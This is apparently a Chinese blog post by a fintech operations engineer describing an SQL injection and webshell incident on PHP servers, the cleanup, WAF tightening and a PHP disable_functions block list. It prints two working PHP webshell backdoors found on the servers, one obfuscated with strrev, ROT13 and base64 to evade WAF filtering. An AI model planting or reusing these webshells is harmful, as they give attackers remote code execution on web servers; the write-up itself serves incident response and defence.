引言
一波未平，一波又起。金融公司的業務實在是太引人耳目，何況我們公司的業處正處於風口之上（區塊鏈金融），並且每天有大量現金交易，所以不知道有多少躲在暗處一直在盯着你的系統，讓你防不勝防，並且想方設法的找到突破點，以達到的目的來獲取非法利益。
俗話說：“道高一尺，魔高一丈”。系統和代碼也可以這麼理解，防的在好，總有漏洞。系統和代碼也沒有絕對的安全。該來的總會來......
sql注入與“她”相遇
某一天，天氣晴朗，心情舒暢。“她”來了，打破了筆者的美好時光。下午2點多鐘，筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個雲廠商的Kubernetes一場技術沙龍，正聽得興致勃勃的時候，筆者的公司羣裏有個php開發突然帖出一張圖：
這個時候，羣裏翻騰了。沒錯，被SQL注入了，數據庫的表被注入了字段，並且經檢查後，發現這個庫中的大部分表都被注入了這個字段。我的電腦沒帶在身邊，真是着急，馬上跟總監說明問題嚴重性。由於我電腦不在身邊， 只能把數據庫賬號授權（讀寫權限）給那個php開發，讓他檢查所有的表，把被注入的字段刪除掉。並查看數據和其它表有沒有被修改。好在發現急時，數據和業務都沒有被丟失和損壞。
這裏我要說明一下，我們的業務都在阿里雲，項目是以php爲主，並且開通了waf防火牆，只是waf上的防護措施比較寬鬆。筆者在安全方面的經驗也比較欠缺，好在開通了阿里雲的WAF，讓筆者在排查和防護上也變得輕鬆和快捷。
此時，我已經在回家的路上，回到家中迅速打開電腦。
調整waf策略
由於筆者也是剛接手工作，阿里雲上的很多策略還沒得到及時調整。所以才這麼容易被攻進來。即然被注入了，肯定要把源給揪出來。我也在次把所有的表都檢查一遍，確認沒問題後，在去調整waf策略，進入阿里雲。
1、進入相關域名的防護配置，我們先來看下調整前的策略，如下圖：
從上圖可以看出，“Web應用防護”策略是寬鬆模式，其主要作用就是防護SQL注入、XSS跨站等常見Web應用，寬鬆模式下對業務的誤報程度最低，但也容易漏過***。“惡意IP懲罰”也沒啓用。這麼寬鬆的防護措施風險比較大。趕緊先調整吧。
2、調整後的策略（如有多個域名，都調整過來），如下圖：
防護策略調整過了，還需要把問題根源找到啊，這纔是最重要的！！！
查找可疑文件
此時，php的項目源碼分佈在好幾臺服務器上，如果靠傳統方式去排查，挨個檢查這些服務器的目錄，各種能用的命令都用上了，是不是也挺費勁費時的，還不知道要查到啥時候。這個時候，阿里有項服務起到關鍵的作用了：“態勢感知”，這個需要升級爲企業版本（費用不高，我們公司開通了一年，費用6000多塊）。這就是用阿里的好處（不是打廣告），確實讓你省心。
1、進入“態勢感知”查看一下，就立馬發現了一堆異常行爲，遍佈在好幾臺服務器上如下圖：
2、點幾個異常行爲進入看看，我就打開其中兩個行爲看一下，其它的行爲也都差不多，如下圖：
從命令行參數中可以看出相關目錄有/Mode/Lite/ ，並且給出的解決方案是及時排查可疑目錄下的信息並及時清除。筆者順着給出的提示在服務器上進行 find 相關目錄，查找出目錄所在路徑，如下圖：
順藤摸瓜吧，列一下這個目錄的文件：
從上圖發現了有兩個異常的php文件，目錄屬主也和其它文件不一樣，筆者打開代碼倉庫也進入相同的目錄進行比對，代碼倉庫中確實沒有這兩個文件。爲了確認清楚，把這兩個文件down下來發給開發。開發說項目中沒有這兩個文件。把它down下來打開文件看看：
Content.class.php文件內容：
<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>
}這代碼不就是被注入的表裏的字段嗎，上面這段代碼大概意思爲：把post請求的兩個參數，一個用base64解密，一個用hex2bin轉成16進制，然後拼接在一起，應該是把操作數據庫的語句加密傳過來，然後解密，這樣就不會被攔截掉。如果哪位博友認爲解釋的有誤，一定要提出來。
Lite.class.php文件內容：
<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){
$page = $_REQUEST['error'];
$limit = $_REQUEST['limit'];
$func = base64_decode(str_rot13(strrev($limit)));
$func(base64_decode(str_rot13(strrev($page))));
exit;上面的代碼其實和之前的那段代碼有共性，反轉字符串然後ROT13 編碼，然後base64解碼，最後按照 PHP 代碼來計算，至於base64_decode，str_rot13，strrev是爲了繞過WAF等安全設備的過濾。
已經很明顯了，就是由上面這些代碼文件Content.class.php等文件給注入的。不用想了：rm -rf 吧。這個動態感知還是挺好用的，能快速定位到風險目錄，讓你減少排查的時間和精力。
爲了保險起見，繼續排查一下其它的目錄是否也存在可疑文件，一定要排查乾淨了，操作一定要小心，也別誤刪，果然在同級目錄下又發現一個，如下圖：
還有一個，如下圖：
和代碼倉庫、開發的對比，可以確定這兩個也是***傳進來的可疑文件，我有一個習慣，刪除文件之前喜歡備份到本地。備份好這些可疑文件到本地之，都徹底清除掉。
雖然都清除掉了，waf防火牆也調整了，但是也沒有絕對的安全，還需要把php這些危險的函數禁用掉，比如禁用phpinfo、exec()、system()等：
phpinfo()
功能描述：輸出 PHP 環境信息以及相關的模塊、WEB 環境等信息。
危險等級：中
passthru()
功能描述：允許執行一個外部程序並回顯輸出，類似於 exec()。
危險等級：高
exec()
功能描述：允許執行一個外部程序（如 UNIX Shell 或 CMD 命令等）。
危險等級：高
system()
功能描述：允許執行一個外部程序並回顯輸出，類似於 passthru()。
危險等級：高
chroot()
功能描述：可改變當前 PHP 進程的工作根目錄，僅當系統支持 CLI 模式
PHP 時才能工作，且該函數不適用於 Windows 系統。
危險等級：高
scandir()
功能描述：列出指定路徑中的文件和目錄。
危險等級：中
chgrp()
功能描述：改變文件或目錄所屬的用戶組。
危險等級：高
chown()
功能描述：改變文件或目錄的所有者。
危險等級：高
shell_exec()
功能描述：通過 Shell 執行命令，並將執行結果作爲字符串返回。
危險等級：高
proc_open()
功能描述：執行一個命令並打開文件指針用於讀取以及寫入。
危險等級：高
proc_get_status()
功能描述：獲取使用 proc_open() 所打開進程的信息。
危險等級：高
ini_alter()
功能描述：是 ini_set() 函數的一個別名函數，功能與 ini_set() 相同。
具體參見 ini_set()。
危險等級：高
ini_set()
功能描述：可用於修改、設置 PHP 環境配置參數。
危險等級：高
ini_restore()
功能描述：可用於恢復 PHP 環境配置參數到其初始值。
危險等級：高
dl()
功能描述：在 PHP 進行運行過程當中（而非啓動時）加載一個 PHP 外部模塊。
危險等級：高
pfsockopen()
功能描述：建立一個 Internet 或 UNIX 域的 socket 持久連接。
危險等級：高
symlink()
功能描述：在 UNIX 系統中建立一個符號鏈接。
危險等級：高
popen()
功能描述：可通過 popen() 的參數傳遞一條命令，並對 popen() 所打開的文件進行執行。
危險等級：高
putenv()
功能描述：用於在 PHP 運行時改變系統字符集環境。在低於 5.2.6 版本的 PHP 中，可利用該函數
修改系統字符集環境後，利用 sendmail 指令發送特殊參數執行系統 SHELL 命令。
危險等級：高
禁用方法如下：
打開/etc/php.ini文件，查找到 disable_functions ，添加需禁用的函數名，如下：
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen趁着這次事件，把其它服務器也一併排查一下吧，需要點耐心慢慢排查，***把這些可疑文件僞裝的非常好，繞過了waf牆，人的肉眼不仔細看它都看不出來，所以還是要自己細心一點幹活。
需要聲明一下：每個人的做事方式都不一樣，本文只是把筆者遇到的事件分享給大家，僅作爲交流和學習。
名詞解釋
sql注入：
所謂SQL注入，就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。具體來說，它是利用現有應用程序，將（惡意的）SQL命令注入到後臺數據庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得到一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的，這類表單特別容易受到SQL注入式***．
webshell：
webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境，也可以將其稱做爲一種網頁後門。在了一個網站後，通常會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一起，然後就可以使用瀏覽器來訪問asp或者php後門，得到一個命令執行環境，以達到控制網站服務器的目的。
顧名思義，“web”的含義是顯然需要服務器開放web服務，“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱爲***者通過網站端口對網站服務器的某種程度上操作的權限。由於webshell其大多是以動態腳本的形式出現，也有人稱之爲網站的後門工具。
安全防範小結
歸納一下，主要有以下幾點：
1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗，可以通過正則表達式，或限制長度；對單引號和雙"-"進行轉換等。
2.永遠不要使用動態拼裝sql，可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.永遠不要使用管理員權限的數據庫連接，爲每個應用使用單獨的權限有限的數據庫連接。
4.不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出儘可能少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
6.sql注入的檢測方法一般採取輔助軟件或網站平臺來檢測，軟件一般採用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS可以有效的防禦SQL注入，XSS***等。
參考：https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin
參考：https://baike.baidu.com/item/webshell/966625?fr=aladdin
參考：https://yq.aliyun.com/ziliao/8531
參考：https://www.cnblogs.com/huaxiamingwang/archive/2012/02/22/2363849.html
本章內容到此結束，喜歡我的文章，請點擊最上方右角處的《關注》！！！
